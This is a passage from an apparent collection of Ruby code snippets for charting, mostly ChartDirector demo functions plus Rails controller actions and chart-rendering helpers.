0x8099ff99)\n\n # If the spline line gets above the upper zone line, color to area between the\n # lines red (ff0000)\n c.addInterLineLayer(splineLayer.getLine(0), lineLayer.getLine(0), 0xff0000,\n ChartDirector::Transparent)\n\n # If the spline line gets below the lower zone line, color to area between the\n # lines blue (0000ff)\n c.addInterLineLayer(splineLayer.getLine(0), lineLayer.getLine(1),\n ChartDirector::Transparent, 0x0000ff)\n\n # Add a custom CDML text at the bottom right of the plot area as the logo\n c.addText(575, 250,\n \"<*block,valign=absmiddle*><*img=small_molecule.png*> <*block*>\" \\\n \"<*font=timesbi.ttf,size=10,color=804040*>Molecular\\nEngineering<*/*>\"\n ).setAlignment(ChartDirector::BottomRight)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def to_html(input_args=Hash.new)\n #puts \"to_html arg #{input_args}\"\n\n reset_chart(input_args)\n \n open_tag('script',script_content)\n open_tag('div',\"\",class: get_chart_size(input_args[:size])[:column]) do\n if @id\n if @do_not_save_chart\n open_tag('small',\"user generated json has no chart expand function\") \n else \n open_tag('small') do\n #open_tag('span','',class: 'chart_btn') do\n # open_tag('a',\"Expand\",href: \"/chart_expand/#{chart_url}\")\n #end\n #if @args[:time] # if time chart, srg wants to button user can click to show status last month\n # open_tag('span','',class: 'chart_btn') do\n # open_tag('a',\"last month\",href: \"/chart_last_month/#{chart_url}\")\n # end\n #end\n if @args[:title] # jason 111516, intentionally write the chart's title here. this one is useful when there are a lot of chart and people can search chart by using browser's search function\n open_tag('span',\"#{@args[:title]}\");\n end\n open_tag('span','',id: 'tooltip_info') do # this field gets populated when user hovers on tool tip\n end\n end\n end\n end\n open_tag('div',\"\",class: get_chart_size(input_args[:size])[:css]) do\n open_tag('canvas',\"\",id: \"#{@chart_id}\" ) do # matches the javascript code which expect to populate LineChart\n end \n end \n end\n @out\n end",
"def getchart()\n # The XYZ points for the bubble chart\n dataX0 = [150, 300, 1000, 1700]\n dataY0 = [12, 60, 25, 65]\n dataZ0 = [20, 50, 50, 85]\n\n dataX1 = [500, 1000, 1300]\n dataY1 = [35, 50, 75]\n dataZ1 = [30, 55, 95]\n\n # Create a XYChart object of size 450 x 420 pixels\n c = ChartDirector::XYChart.new(450, 420)\n\n # Set the plotarea at (55, 65) and of size 350 x 300 pixels, with a light grey\n # border (0xc0c0c0). Turn on both horizontal and vertical grid lines with light\n # grey color (0xc0c0c0)\n c.setPlotArea(55, 65, 350, 300, -1, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a legend box at (50, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(50, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font.\n c.addTitle(\"Product Comparison Chart\", \"timesbi.ttf\", 18)\n\n # Add a title to the y axis using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Capacity (tons)\", \"arialbi.ttf\", 12)\n\n # Add a title to the x axis using 12 pts Arial Bold Italic font\n c.xAxis().setTitle(\"Range (miles)\", \"arialbi.ttf\", 12)\n\n # Set the axes line width to 3 pixels\n c.xAxis().setWidth(3)\n c.yAxis().setWidth(3)\n\n # Add (dataX0, dataY0) as a scatter layer with semi-transparent red (0x80ff3333)\n # circle symbols, where the circle size is modulated by dataZ0. This creates a\n # bubble effect.\n c.addScatterLayer(dataX0, dataY0, \"Technology AAA\", ChartDirector::CircleSymbol,\n 9, 0x80ff3333, 0x80ff3333).setSymbolScale(dataZ0)\n\n # Add (dataX1, dataY1) as a scatter layer with semi-transparent green (0x803333ff)\n # circle symbols, where the circle size is modulated by dataZ1. This creates a\n # bubble effect.\n c.addScatterLayer(dataX1, dataY1, \"Technology BBB\", ChartDirector::CircleSymbol,\n 9, 0x803333ff, 0x803333ff).setSymbolScale(dataZ1)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # Sample data for the Box-Whisker chart. Represents the minimum, 1st quartile,\n # medium, 3rd quartile and maximum values of some quantities\n q0Data = [40, 45, 35]\n q1Data = [55, 60, 50]\n q2Data = [62, 70, 60]\n q3Data = [70, 80, 65]\n q4Data = [80, 90, 75]\n\n # The labels for the chart\n labels = [\"<*img=robot1.png*><*br*>Bipedal Type\",\n \"<*img=robot2.png*><*br*>Wolf Type\", \"<*img=robot5.png*><*br*>Bird Type\"]\n\n # Create a XYChart object of size 540 x 320 pixels\n c = ChartDirector::XYChart.new(540, 320)\n\n # swap the x and y axes to create a horizontal box-whisker chart\n c.swapXY()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (75, 25) and of size 440 x 270 pixels. Enable both\n # horizontal and vertical grids by setting their colors to grey (0xc0c0c0)\n c.setPlotArea(75, 25, 440, 270).setGridColor(0xc0c0c0, 0xc0c0c0)\n\n # Add a title to the chart\n c.addTitle(\" Robot Shooting Accuracy Scores\")\n\n # Set the labels on the x axis and the font to Arial Bold\n c.xAxis().setLabels(labels).setFontStyle(\"arialbd.ttf\")\n\n # Disable x axis ticks by setting the length to 0\n c.xAxis().setTickLength(0)\n\n # Set the font for the y axis labels to Arial Bold\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # Add a Box Whisker layer using light blue 0x9999ff as the fill color and blue\n # (0xcc) as the line color. Set the line width to 2 pixels\n c.addBoxWhiskerLayer2(q3Data, q1Data, q4Data, q0Data, q2Data).setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def show\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @chart }\n end\n end",
"def getchart()\n # Some ChartDirector built-in symbols\n symbols = [ChartDirector::CircleShape, ChartDirector::GlassSphereShape,\n ChartDirector::GlassSphere2Shape, ChartDirector::SolidSphereShape,\n ChartDirector::SquareShape, ChartDirector::DiamondShape,\n ChartDirector::TriangleShape, ChartDirector::RightTriangleShape,\n ChartDirector::LeftTriangleShape, ChartDirector::InvertedTriangleShape,\n ChartDirector::StarShape(3), ChartDirector::StarShape(4),\n ChartDirector::StarShape(5), ChartDirector::StarShape(6),\n ChartDirector::StarShape(7), ChartDirector::StarShape(8),\n ChartDirector::StarShape(9), ChartDirector::StarShape(10),\n ChartDirector::PolygonShape(5), ChartDirector::Polygon2Shape(5),\n ChartDirector::PolygonShape(6), ChartDirector::Polygon2Shape(6),\n ChartDirector::CrossShape(0.1), ChartDirector::CrossShape(0.2),\n ChartDirector::CrossShape(0.3), ChartDirector::CrossShape(0.4),\n ChartDirector::CrossShape(0.5), ChartDirector::CrossShape(0.6),\n ChartDirector::CrossShape(0.7), ChartDirector::Cross2Shape(0.1),\n ChartDirector::Cross2Shape(0.2), ChartDirector::Cross2Shape(0.3),\n ChartDirector::Cross2Shape(0.4), ChartDirector::Cross2Shape(0.5),\n ChartDirector::Cross2Shape(0.6), ChartDirector::Cross2Shape(0.7)]\n\n # Create a XYChart object of size 450 x 400 pixels\n c = ChartDirector::XYChart.new(450, 400)\n\n # Set the plotarea at (55, 40) and of size 350 x 300 pixels, with a light grey\n # border (0xc0c0c0). Turn on both horizontal and vertical grid lines with light\n # grey color (0xc0c0c0)\n c.setPlotArea(55, 40, 350, 300, -1, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font.\n c.addTitle(\"Built-in Symbols\", \"timesbi.ttf\", 18)\n\n # Set the axes line width to 3 pixels\n c.xAxis().setWidth(3)\n c.yAxis().setWidth(3)\n\n # Ensure the ticks are at least 1 unit part (integer ticks)\n c.xAxis().setMinTickInc(1)\n c.yAxis().setMinTickInc(1)\n\n # Add each symbol as a separate scatter layer.\n 0.upto(symbols.length - 1) do |i|\n c.addScatterLayer([i % 6 + 1], [(i / 6 + 1).to_i], \"\", symbols[i], 15)\n end\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # Data for the chart\n data0 = [5, 3, 10, 4, 3, 5, 2, 5]\n data1 = [12, 6, 17, 6, 7, 9, 4, 7]\n data2 = [17, 7, 22, 7, 18, 13, 5, 11]\n\n labels = [\"North\", \"North<*br*>East\", \"East\", \"South<*br*>East\", \"South\",\n \"South<*br*>West\", \"West\", \"North<*br*>West\"]\n\n # Create a PolarChart object of size 460 x 500 pixels, with a grey (e0e0e0)\n # background and 1 pixel 3D border\n c = ChartDirector::PolarChart.new(460, 500, 0xe0e0e0, 0x000000, 1)\n\n # Add a title to the chart at the top left corner using 15pts Arial Bold Italic\n # font. Use a wood pattern as the title background.\n c.addTitle(\"Polar Area Chart Demo\", \"arialbi.ttf\", 15).setBackground(\n c.patternColor(File.dirname(__FILE__) + \"/wood.png\"))\n\n # Set center of plot area at (230, 280) with radius 180 pixels, and white (ffffff)\n # background.\n c.setPlotArea(230, 280, 180, 0xffffff)\n\n # Set the grid style to circular grid\n c.setGridStyle(false)\n\n # Add a legend box at top-center of plot area (230, 35) using horizontal layout.\n # Use 10 pts Arial Bold font, with 1 pixel 3D border effect.\n b = c.addLegend(230, 35, false, \"arialbd.ttf\", 9)\n b.setAlignment(ChartDirector::TopCenter)\n b.setBackground(ChartDirector::Transparent, ChartDirector::Transparent, 1)\n\n # Set angular axis using the given labels\n c.angularAxis().setLabels(labels)\n\n # Specify the label format for the radial axis\n c.radialAxis().setLabelFormat(\"{value}%\")\n\n # Set radial axis label background to semi-transparent grey (40cccccc)\n c.radialAxis().setLabelStyle().setBackground(0x40cccccc, 0)\n\n # Add the data as area layers\n c.addAreaLayer(data2, -1, \"5 m/s or above\")\n c.addAreaLayer(data1, -1, \"1 - 5 m/s\")\n c.addAreaLayer(data0, -1, \"less than 1 m/s\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def show_graph\n url_for_data = url_for(controller.params.merge(:action => :data)).gsub('&', '&')\n relative_url_path = ActionController::Base.respond_to?(:relative_url_root) ? ActionController::Base.relative_url_root : ActionController::AbstractRequest.relative_url_root\n html, div_name = controller.open_flash_chart_object_and_div_name('100%', '400', url_for_data, true, \"#{relative_url_path}/\")\n\n html << '<script type=\"text/javascript\">' << \"\\n\"\n html << \"var charts_to_image_title = '#{h(controller.title)}';\\n\" \n html << \"var charts_to_image_id = '#{div_name}';\\n\"\n html << '</script>'\n\n html\n end",
"def simple_chart\n \n end",
"def render data\n @renderer.render(data)\n end",
"def getchart()\n # The tasks for the gantt chart\n labels = [\"Market Research\", \"Define Specifications\", \"Overall Archiecture\",\n \"Project Planning\", \"Detail Design\", \"Software Development\", \"Test Plan\",\n \"Testing and QA\", \"User Documentation\"]\n\n # The task index, start date, end date and color for each bar\n taskNo = [0, 0, 1, 2, 3, 4, 5, 6, 6, 7, 8, 8]\n startDate = [Time.mktime(2004, 8, 16), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 8, 30), Time.mktime(2004, 9, 13), Time.mktime(2004, 9, 20), Time.mktime(2004,\n 9, 27), Time.mktime(2004, 10, 4), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 10, 25), Time.mktime(2004, 11, 1), Time.mktime(2004, 10, 18), Time.mktime(\n 2004, 11, 8)]\n endDate = [Time.mktime(2004, 8, 30), Time.mktime(2004, 10, 18), Time.mktime(2004,\n 9, 13), Time.mktime(2004, 9, 27), Time.mktime(2004, 10, 4), Time.mktime(2004,\n 10, 11), Time.mktime(2004, 11, 8), Time.mktime(2004, 10, 18), Time.mktime(\n 2004, 11, 8), Time.mktime(2004, 11, 22), Time.mktime(2004, 11, 1),\n Time.mktime(2004, 11, 22)]\n colors = [0x00cc00, 0x00cc00, 0x00cc00, 0x0000cc, 0x0000cc, 0xcc0000, 0xcc0000,\n 0x0000cc, 0xcc0000, 0xcc0000, 0x00cc00, 0xcc0000]\n\n # Create a XYChart object of size 620 x 325 pixels. Set background color to light\n # red (0xffcccc), with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(620, 325, 0xffcccc, 0x000000, 1)\n\n # Add a title to the chart using 15 points Times Bold Itatic font, with white\n # (ffffff) text on a dark red (800000) background\n c.addTitle(\"Mutli-Color Gantt Chart Demo\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x800000)\n\n # Set the plotarea at (140, 55) and of size 460 x 200 pixels. Use alternative\n # white/grey background. Enable both horizontal and vertical grids by setting\n # their colors to grey (c0c0c0). Set vertical major grid (represents month\n # boundaries) 2 pixels in width\n c.setPlotArea(140, 55, 460, 200, 0xffffff, 0xeeeeee, ChartDirector::LineColor,\n 0xc0c0c0, 0xc0c0c0).setGridWidth(2, 1, 1, 1)\n\n # swap the x and y axes to create a horziontal box-whisker chart\n c.swapXY()\n\n # Set the y-axis scale to be date scale from Aug 16, 2004 to Nov 22, 2004, with\n # ticks every 7 days (1 week)\n c.yAxis().setDateScale(Time.mktime(2004, 8, 16), Time.mktime(2004, 11, 22),\n 86400 * 7)\n\n # Set multi-style axis label formatting. Month labels are in Arial Bold font in\n # \"mmm d\" format. Weekly labels just show the day of month and use minor tick (by\n # using '-' as first character of format string).\n c.yAxis().setMultiFormat(ChartDirector::StartOfMonthFilter(),\n \"<*font=arialbd.ttf*>{value|mmm d}\", ChartDirector::StartOfDayFilter(),\n \"-{value|d}\")\n\n # Set the y-axis to shown on the top (right + swapXY = top)\n c.setYAxisOnRight()\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Reverse the x-axis scale so that it points downwards.\n c.xAxis().setReverse()\n\n # Set the horizontal ticks and grid lines to be between the bars\n c.xAxis().setTickOffset(0.5)\n\n # Add some symbols to the chart to represent milestones. The symbols are added\n # using scatter layers. We need to specify the task index, date, name, symbol\n # shape, size and color.\n c.addScatterLayer([1], [Time.mktime(2004, 9, 13)], \"Milestone 1\",\n ChartDirector::Cross2Shape(), 13, 0xffff00)\n c.addScatterLayer([3], [Time.mktime(2004, 10, 4)], \"Milestone 2\",\n ChartDirector::StarShape(5), 15, 0xff00ff)\n c.addScatterLayer([5], [Time.mktime(2004, 11, 8)], \"Milestone 3\",\n ChartDirector::TriangleSymbol, 13, 0xff9933)\n\n # Add a multi-color box-whisker layer to represent the gantt bars\n layer = c.addBoxWhiskerLayer2(startDate, endDate, nil, nil, nil, colors)\n layer.setXData(taskNo)\n layer.setBorderColor(ChartDirector::SameAsMainColor)\n\n # Divide the plot area height ( = 200 in this chart) by the number of tasks to get\n # the height of each slot. Use 80% of that as the bar height.\n layer.setDataWidth((200 * 4 / 5 / (labels.length)).to_i)\n\n # Add a legend box at (140, 265) - bottom of the plot area. Use 8 pts Arial Bold\n # as the font with auto-grid layout. Set the width to the same width as the plot\n # area. Set the backgorund to grey (dddddd).\n legendBox = c.addLegend2(140, 265, ChartDirector::AutoGrid, \"arialbd.ttf\", 8)\n legendBox.setWidth(461)\n legendBox.setBackground(0xdddddd)\n\n # The keys for the scatter layers (milestone symbols) will automatically be added\n # to the legend box. We just need to add keys to show the meanings of the bar\n # colors.\n legendBox.addKey(\"Market Team\", 0x00cc00)\n legendBox.addKey(\"Planning Team\", 0x0000cc)\n legendBox.addKey(\"Development Team\", 0xcc0000)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def charting\n check_state_and_update\n @titles = Title.build_horizontal_collection(@task.id,current_user.id)\n \n respond_to do |format| \n format.html \n end\n end",
"def chart(template, *options, &block)\n # Access the actual chart object\n Compendium::Presenters::Chart.new(template, self, *options, &block)\n end",
"def show\n unless parent.chart\n parent.update_attributes chart: Chart.find_or_create(parent.dob)\n end\n @chart = parent.chart\n @name = parent.full_name\n\n @chart = Chart.find(params[:id])\n respond_with(@chart)\n \n respond_to do |format|\n format.html\n # format.html { render :layout => 'chart' }\n format.pdf {\n pdf = ChartPdf.new(@chart, @name, view_context)\n send_data pdf.render, filename: \"#{parent.friendly_id}-natal-chart.pdf\", type: \"application/pdf\", disposition: 'inline'\n }\n end\n end",
"def render_chart_html(chart_swf,str_url,str_xml,chart_id,chart_width,chart_height,debug_mode,&block)\n chart_width=chart_width.to_s\n chart_height=chart_height.to_s\n \n debug_mode_num=\"0\"\n if debug_mode==true\n debug_mode_num=\"1\"\n end \n str_flash_vars=\"\"\n if str_xml==\"\"\n str_flash_vars=\"chartWidth=\"+chart_width+\"&chartHeight=\"+chart_height+\"&debugmode=\"+debug_mode_num+\"&dataURL=\"+str_url\n logger.info(\"The method used is setDataURL.The URL is \" + str_url)\n else\n str_flash_vars=\"chartWidth=\"+chart_width+\"&chartHeight=\"+chart_height+\"&debugmode=\"+debug_mode_num+\"&dataXML=\"+str_xml\n logger.info(\"The method used is setDataXML.The XML is \" + str_xml)\n end\n concat(\"\\t\\t<!-- START Code Block for Chart -->\\n\\t\\t\",block.binding)\n \n object_attributes={:classid=>\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"}\n object_attributes=object_attributes.merge(:codebase=>\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\")\n object_attributes=object_attributes.merge(:width=>chart_width)\n object_attributes=object_attributes.merge(:height=>chart_height)\n object_attributes=object_attributes.merge(:id=>chart_id)\n \n param_attributes1={:name=>\"allowscriptaccess\",:value=>\"always\"}\n param_tag1=content_tag(\"param\",\"\",param_attributes1)\n \n param_attributes2={:name=>\"movie\",:value=>chart_swf}\n param_tag2=content_tag(\"param\",\"\",param_attributes2)\n \n param_attributes3={:name=>\"FlashVars\",:value=>str_flash_vars}\n param_tag3=content_tag(\"param\",\"\",param_attributes3)\n \n param_attributes4={:name=>\"quality\",:value=>\"high\"}\n param_tag4=content_tag(\"param\",\"\",param_attributes4)\n \n embed_attributes={:src=>chart_swf}\n embed_attributes=embed_attributes.merge(:FlashVars=>str_flash_vars)\n embed_attributes=embed_attributes.merge(:quality=>\"high\")\n embed_attributes=embed_attributes.merge(:width=>chart_width)\n embed_attributes=embed_attributes.merge(:height=>chart_height).merge(:name=>chart_id)\n embed_attributes=embed_attributes.merge(:allowScriptAccess=>\"always\")\n embed_attributes=embed_attributes.merge(:type=>\"application/x-shockwave-flash\")\n embed_attributes=embed_attributes.merge(:pluginspage=>\"http://www.macromedia.com/go/getflashplayer\")\n \n embed_tag=content_tag(\"embed\",\"\",embed_attributes)\n \n concat(content_tag(\"object\",\"\\n\\t\\t\\t\\t\"+param_tag1+\"\\n\\t\\t\\t\\t\"+param_tag2+\"\\n\\t\\t\\t\\t\"+param_tag3+\"\\n\\t\\t\\t\\t\"+param_tag4+\"\\n\\t\\t\\t\\t\"+embed_tag+\"\\n\\t\\t\",object_attributes),block.binding)\n concat(\"\\n\\t\\t<!-- END Code Block for Chart -->\\n\",block.binding)\n end",
"def feedbackchart\n \n end",
"def getchart()\n # The value to display on the meter\n value = 75.35\n\n # Create an LinearMeter object of size 250 x 75 pixels, using silver background\n # with a 2 pixel black 3D depressed border.\n m = ChartDirector::LinearMeter.new(250, 75, ChartDirector::silverColor(), 0, -2)\n\n # Set the scale region top-left corner at (15, 25), with size of 200 x 50 pixels.\n # The scale labels are located on the top (implies horizontal meter)\n m.setMeter(15, 25, 220, 20, ChartDirector::Top)\n\n # Set meter scale from 0 - 100, with a tick every 10 units\n m.setScale(0, 100, 10)\n\n # Set 0 - 50 as green (99ff99) zone, 50 - 80 as yellow (ffff66) zone, and 80 - 100\n # as red (ffcccc) zone\n m.addZone(0, 50, 0x99ff99)\n m.addZone(50, 80, 0xffff66)\n m.addZone(80, 100, 0xffcccc)\n\n # Add a blue (0000cc) pointer at the specified value\n m.addPointer(value, 0x0000cc)\n\n # Add a label at bottom-left (10, 68) using Arial Bold/8 pts/red (c00000)\n m.addText(10, 68, \"Temperature C\", \"arialbd.ttf\", 8, 0xc00000,\n ChartDirector::BottomLeft)\n\n # Add a text box to show the value formatted to 2 decimal places at bottom right.\n # Use white text on black background with a 1 pixel depressed 3D border.\n m.addText(238, 70, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomRight).setBackground(0, 0, -1)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def render_data(data)\n # calculate quartiles for plot, use this as data\n @data_quartiles = DATA.collect { |row|\n data = quartiles(row[1])\n OpenStruct.new(\n :name => row[0],\n :q0 => data[0],\n :q1 => data[1],\n :q2 => data[2],\n :q3 => data[3],\n :q4 => data[4],\n :index => 0\n ) \n }\n # NOTE: need index to lay out coloumns horizontally\n @data_quartiles.each_with_index { |d, i|\n d.index = i\n }\n # find limits of data so we know where axes are\n data_min = @data_quartiles.collect { |col| col.q0 }.min()\n data_max = @data_quartiles.collect { |col| col.q4 }.max()\n bounds = bounds([data_min, data_max])\n plot_range = bounds[1] - bounds[0]\n\n \n # make area for plotting\n # left, etc. set padding so actual size is ht/wt + padding\n vis = pv.Panel.new()\n .width(@canvas_wt)\n .height(@canvas_ht)\n .margin(@margin)\n .left(30)\n .bottom(20)\n .top(10)\n .right(10)\n \n # adhoc guess at bar width\n bar_width = @plot_wt / @data_quartiles.size() * 0.8\n \n # scaling to position datapoints in plot\n vert = pv.Scale.linear(bounds[0], bounds[1]).range(0, @plot_ht)\n horiz = pv.Scale.linear(0, @data_quartiles.size()).range(0, @plot_wt)\n\n # where to draw labels on graph\n label_ticks = vert.ticks.each_slice(4).map(&:first)\n\n # make horizontal lines:\n # - what values are drawn\n # - where the bottom of it appears\n # - what color to make the line\n # - the width of the line\n # - antialias it?\n # - add a label\n # - where does label appear relative to line\n # - how is the text aligned in own space\n # - align text vertically (\"top\" looks like \"middle\")\n # - what appears in the label\n vis.add(pv.Rule)\n .data(vert.ticks()) \n .bottom(lambda {|d| vert.scale(d)}) \n .strokeStyle(lambda { |d| label_ticks.member?(d) ? \"black\" : \"lightblue\" })\n .line_width(lambda { |d| label_ticks.member?(d) ? 0.5 : 0.1 })\n .antialias(true)\n .add(pv.Label) \n .left(0) \n .textAlign(\"right\")\n .textBaseline(\"top\")\n .text(lambda {|d| label_ticks.member?(d) ? sprintf(\"%0.2f\", d) : '' }) \n \n # y (vertical) axis\n vis.add(pv.Rule)\n .data([0])\n .left(horiz.scale(0))\n .bottom(@margin)\n .strokeStyle(\"black\")\n \n # make the main body of boxplot\n vis.add(pv.Rule)\n .data(@data_quartiles)\n .left(lambda {|d| horiz.scale(d.index + 0.5) })\n .bottom(lambda {|d| vert.scale(d.q1)})\n .lineWidth(bar_width)\n .height(lambda {|d| vert.scale(d.q3) - vert.scale(d.q1)})\n .strokeStyle(@bar_clr)\n\n # add bottom labels\n vis.add(pv.Label)\n .data(@data_quartiles)\n .left(lambda {|d| horiz.scale(d.index + 0.5) })\n .bottom(0)\n .text_baseline(\"top\")\n .text_margin(15)\n .textAlign(\"center\")\n .text(lambda {|d| d.name })\n\n # make the whisker \n vis.add(pv.Rule)\n .data(@data_quartiles)\n .left(lambda {|d| horiz.scale(d.index + 0.5)})\n .bottom(lambda {|d| vert.scale(d.q0)})\n .lineWidth(1)\n .height(lambda {|d| vert.scale(d.q4) - vert.scale(d.q0)})\n .strokeStyle(@bar_clr)\n\n # make the median line \n vis.add(pv.Rule)\n .data(@data_quartiles)\n .left(lambda {|d| horiz.scale(d.index + 0.5)})\n .bottom(lambda {|d| vert.scale(d.q2)})\n .height(1)\n .lineWidth(bar_width)\n .strokeStyle(\"white\")\n \n vis.render()\n return vis.to_svg()\n end",
"def chart\n data = case params[:kind]\n when 'number_of_users'\n @title = 'Number of users '\n User.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_loves'\n @title = 'Number of Loves'\n ActsAsVotable::Vote.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_comments'\n @title = 'Number of comments'\n Comment.unscoped.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_shares'\n @title = 'Number of shares'\n Share.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'monthly_active_users'\n @title = 'Monthly active users'\n votes = ActsAsVotable::Vote.group('DATE_TRUNC(\\'month\\', created_at)').count\n comments = Comment.unscoped.group('DATE_TRUNC(\\'month\\', created_at)').count\n shares = Share.group('DATE_TRUNC(\\'month\\', created_at)').count\n votes\n .merge(comments) { |k, a_value, b_value| a_value + b_value }\n .merge(shares) { |k, a_value, b_value| a_value + b_value }\n when 'joined_last_month'\n @title = 'Joined last month'\n User.group('DATE_TRUNC(\\'day\\', created_at)').where(created_at: Date.today.beginning_of_month..Date.today.end_of_month).count\n else #net_promoter_score\n @title = 'Net promoter score'\n PhoneNumberInvitation.uniq.group('DATE_TRUNC(\\'month\\', created_at)').count(:user_id)\n end\n\n # data manipulation\n @data = []\n prev_key, year = nil, Time.current.year\n data.sort.each do |k ,v|\n k = k.to_date\n if params[:kind] == 'joined_last_month'\n (prev_key.next...k).each{|d| @data << [d.strftime('%d'), 0, \"#{d.to_s(:long)} = 0\"] } if prev_key.present?\n @data << [k.strftime('%d'), v, \"#{k.to_s(:long)} = #{v}\"]\n else\n k = k.beginning_of_month\n (prev_key.next..k.yesterday).select{|d| d.day == 1 }.each{|d| @data << [d.strftime(year == d.year ? '%m' : '%y/%-m'), 0, \"#{d.strftime(\"%B, %Y\")} = 0\"] } if prev_key.present?\n @data << [k.strftime(year == k.year ? '%m' : '%y/%-m'), v, \"#{k.strftime(\"%B, %Y\")} = #{v}\"]\n end\n prev_key = k\n end\n\n render partial: 'chart'\n end",
"def getchart()\n # The data for the pie chart\n data = [25, 18, 15, 12, 8, 30, 35]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Insurance\", \"Facilities\",\n \"Production\"]\n\n # Create a PieChart object of size 360 x 300 pixels\n c = ChartDirector::PieChart.new(360, 300)\n\n # Set the center of the pie at (180, 140) and the radius to 100 pixels\n c.setPieSize(180, 140, 100)\n\n # Add a title to the pie chart\n c.addTitle(\"Project Cost Breakdown\")\n\n # Draw the pie in 3D\n c.set3D()\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Explode the 1st sector (index = 0)\n c.setExplode(0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def render_chart_data\n data = self.rounds.map do |r|\n { x: map_time_to_num(r.time_of_day), y: MachineRound.find_by(machine_id: self.id, round_id: r.id).data.to_f }\n end\n end",
"def show\n @chart = Chart.find(params[:id])\n @chartnodes = @chart.chartnodes\n data = @chart.chartnodes.map {|node| [node.xaxis, node.yaxis]}.transpose\n if @chart.charttype == 'column'\n @h1 = LazyHighCharts::HighChart.new('graph') do |f|\n f.title({ :text=> @chart.name})\n f.options[:xAxis][:categories] = data[0]\n f.series(:type=> 'column',:name=> @chart.name,:data=> data[1])\n end\n elsif @chart.charttype == 'spline'\n @h1 = LazyHighCharts::HighChart.new('graph') do |f|\n f.title({ :text=> @chart.name})\n f.options[:xAxis][:categories] = data[0]\n f.series(:type=> 'spline',:name=> @chart.name,:data=> data[1])\n f.plot_options( :spline => {\n :dataLabels => {\n :enabled => true\n }})\n f.tooltip( :crosshairs => true, :shared => true)\n end\n elsif @chart.charttype == 'pie'\n @h1 = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"pie\" , :margin=> [50, 200, 60, 170]} )\n series = {\n :type=> 'pie',\n :name=> @chart.name,\n :data=> data.transpose\n }\n f.series(series)\n f.options[:title][:text] = \"Browser share\"\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n #:cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"black\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\"\n }\n }\n })\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chart }\n end\n end",
"def create\n @chart = Chart.new(params[:chart])\n flash[:notice] = 'Chart was successfully created.' if @chart.save\n respond_with(@chart)\n end",
"def getchart()\n # The value to display on the meter\n value = 27.48\n\n # Create an AngularMeter object of size 200 x 115 pixels, with silver background\n # color, black border, 2 pixel 3D border border and rounded corners\n m = ChartDirector::AngularMeter.new(200, 115, ChartDirector::silverColor(),\n 0x000000, 2)\n m.setRoundedFrame()\n\n # Set the meter center at (100, 100), with radius 85 pixels, and span from -90 to\n # +90 degress (semi-circle)\n m.setMeter(100, 100, 85, -90, 90)\n\n # Meter scale is 0 - 100, with major tick every 20 units, minor tick every 10\n # units, and micro tick every 5 units\n m.setScale(0, 100, 20, 10, 5)\n\n # Set 0 - 60 as green (66FF66) zone\n m.addZone(0, 60, 0, 85, 0x66ff66)\n\n # Set 60 - 80 as yellow (FFFF33) zone\n m.addZone(60, 80, 0, 85, 0xffff33)\n\n # Set 80 - 100 as red (FF6666) zone\n m.addZone(80, 100, 0, 85, 0xff6666)\n\n # Add a text label centered at (100, 60) with 12 pts Arial Bold font\n m.addText(100, 60, \"PSI\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n\n # Add a text box at the top right corner of the meter showing the value formatted\n # to 2 decimal places, using white text on a black background, and with 1 pixel 3D\n # depressed border\n m.addText(156, 8, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff\n ).setBackground(0x000000, 0, -1)\n\n # Add a semi-transparent blue (40666699) 